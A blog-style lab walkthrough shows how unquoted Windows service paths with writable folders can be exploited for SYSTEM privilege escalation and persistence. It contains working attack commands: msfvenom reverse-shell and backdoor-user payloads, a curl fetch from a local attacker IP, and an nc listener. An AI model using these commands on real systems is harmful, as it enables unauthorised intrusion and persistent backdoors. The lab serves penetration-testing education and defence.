Unquoted Service Path for Privilege Escalation and Persistence
In this blog post, I demonstrate how Unquoted Service Paths as a misconfiguration in services can be exploited to achieve privilege escalation and persistence.
Background
Unquoted Service Paths (USP)
In Windows, when a service calls an executable, it’s fully qualified path is specified. When this path value contains spaces and is not enclosed with quotes, Windows API considers this path to be ambiguous and interprets it with various possibilities before finding the correct path. If the full path contains spaces, Windows attempts to append the filename until the space with .exe. If the executable is not found, the process is repeats until a executable is found.
Any service’s executable path is stored in ImagePath value of the registry tree, “HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services“. Windows usually handles spaces in a path as a break point between path and arguments. For example: System32\drivers\svchost.exe -k.
In the below picture, the path of “ACPI” service does not contain spaces and therefore does not need to be enclosed in quotes as Windows API will find it to be the absolute path.
Vulnerability
The ImagePath value is used by CreateProcessA function. This function takes lpApplicationName as a parameter that contains the path as a string value. If a long file name, for example: “C:\Program Files\A Subfolder\B Subfolder\C Subfolder\Executable.exe“, containing spaces is not enclosed within quotes, the system tries search for the service executable in the following order:
- C:\Program.exe
- C:\Program Files\A.exe
- C:\Program Files\A Subfolder\B.exe
- C:\Program Files\A Subfolder\B Subfolder\C.exe
- C:\Program Files\A Subfolder\B Subfolder\C Subfolder\Executable.exe
Unquoted Service Paths can be abused by an attacker to gain higher privileges and maintain persistence if the service is running with higher privileges and the current user has write-permission in one of the sub-folders. This enables an attacker to place a malicious executable in any writable sub-folder such that when the service starts, the malicious executable is launched instead of the original executable.
sc create “vulnserv” binpath= “C:\Program Files\A Subfolder\B Subfolder\C Subfolder\Executable.exe” Displayname= “Vuln Service” start= auto
Lab Setup
In this lab, I demonstrate how to identify insecure service with unquoted service path vulnerability and exploit them for privilege escalation and persistence.
This lab uses Windows 11 as the target machine and Kali Linux to craft exploits. Both machines use NAT networking. The Windows machine’s real-time protection, cloud-delivery protection, and firewall have been turned off for payload delivery. It is assumed that the attacker has a low privileged shell or RDP session.
Two users, Admin and Sid are created with administrator and user privileges respectively.
Creating user “Admin” and adding the user to Administrators group:
net user /add admin pass123 net localgroup administrators admin /add
Creating user “Sid” and adding the user to Localgroup:
net user /add sid pass123 net localgroup users sid /add
Next, I create a vulnerable service on the administrator account with spaces in it’s path and without enclosing in quotes. This service is named as “Vuln Service” and automatically starts on every reboot.
sc create "vulnserv" binpath= "C:\Program Files\A Subfolder\B Subfolder\C Subfolder\Executable.exe" Displayname= "Vuln Service" start= auto
Note: To enclose a service executable path with quotes, the quotes need to be escaped like so:
sc create "secure service" binpath="\"path with spaces\""
The service information can be viewed through Services program, command prompt, or powershell.
sc qc "vulnserv" Get-Service "vulnserv"
Let’s create the folders with the administrator account.
mkdir "C:\Program Files\A Subfolder\B Subfolder\C Subfolder\"
This insecure service with unquoted service path misconfiguration can only be exploited if the attacker has write access to any of the sub-folders in the unquoted path. Let’s check the permissions of the “A Subfolder” using Sid’s account.
It can be observed that the BUILTIN\Users have Read and Execute permissions only. Therefore, user Sid has the same permissions and does not have a write-permission. Of course, the Administrators group has full access.
To test and exploit this vulnerability, let’s add write-access to the Users group.
icacls "C:\Program Files\A Subfolder" /GRANT "BUILTIN\Users":W
Now, a low privileged user like Sid can plant a malicious executable with the name “B.exe” in the “A Subfolder” such that when the system searches in order, it executes “B.exe” after “Program.exe” and “A.exe”.
With the above step, the lab setup is finished.
Identification of Insecure Services with USP
There are several ways of identifying services that are misconfigured to have unquoted service paths.
Let’s use a native Windows tool, wmic to identify the insecure services.
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
Let’s break this command down:
- First, it identifies the service name, path, display name and start mode.
- Second, it is piped to find services that auto-start at boot time. “\i” flag is used to query case-insensitive.
- Next, it is piped to exclude (“/v”) the “C:\Windows\” directory as all services in this directory do not contain spaces and are unquoted.
- Lastly, it is piped to exclude all the services that are enclosed within quotes.
It can be observed that the misconfigured service “vulnserv” appears in the results.
Another way to find such services is by using PowerUp powershell script by harmj0y.
curl https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1 -o .\PowerUp.ps1 Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser Import-Module .\PowerUp.ps1 Get-UnquotedService
Now that the insecure service has been identified, we can begin the exploitation!
Exploiting Unquoted Service Path
After the discovery of unquoted service path, a payload can be crafted using msfvenom to get a reverse shell. After creating the payload, it needs to be planted in “C:\Program Files\A Subfolder\B.exe”
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=4444 -f exe > B.exe python3 -m http.server curl 192.168.181.129:8000/B.exe -o "C:\Program Files\A Subfolder\B.exe" nc -lvnp 4444 msfvenom -p windows/adduser USER=backdoor_user PASS=pass123 -f exe > B.exe
In this lab, I have successfully exploited an insecure service with unquoted service path, and weak folder permissions by planting a malicious executable to hijack the execution flow of Windows’s CreateProcessA function, and achieve privilege escalation by obtaining SYSTEM shell on the attacker machine. Since the attacker receives a shell every time the system boots, persistence was also achieved.
Note: Although identification of unquoted service paths and writable folders can be easily automated (exploit/windows/unquoted_service_path) using a low privileged meterpreter shell, these scripts did not work for me in newer versions of Windows even with AV evasion and UAC bypass. Another method to automate the same is using PowerUp.ps1 script’s Get-UnquotedService and Write-ServiceBinary.
Attacker’s Notes
- No. You won’t get CVEs for discovering Unquoted Service Paths. Read this!.
- They are rarely exploitable since standard users do not have write-access in the root of “C:\” drive.
- The easiest way to get caught is rebooting the target machine to get a shell. It is rare for a standard user to have permissions to start and stop services.
Defender’s Notes
- Congratulations! You can ignore Unquoted Service Paths reports as a vulnerability.
- Focus on misconfigured file system permissions that allow non-admin users to create files in locations that should be protected.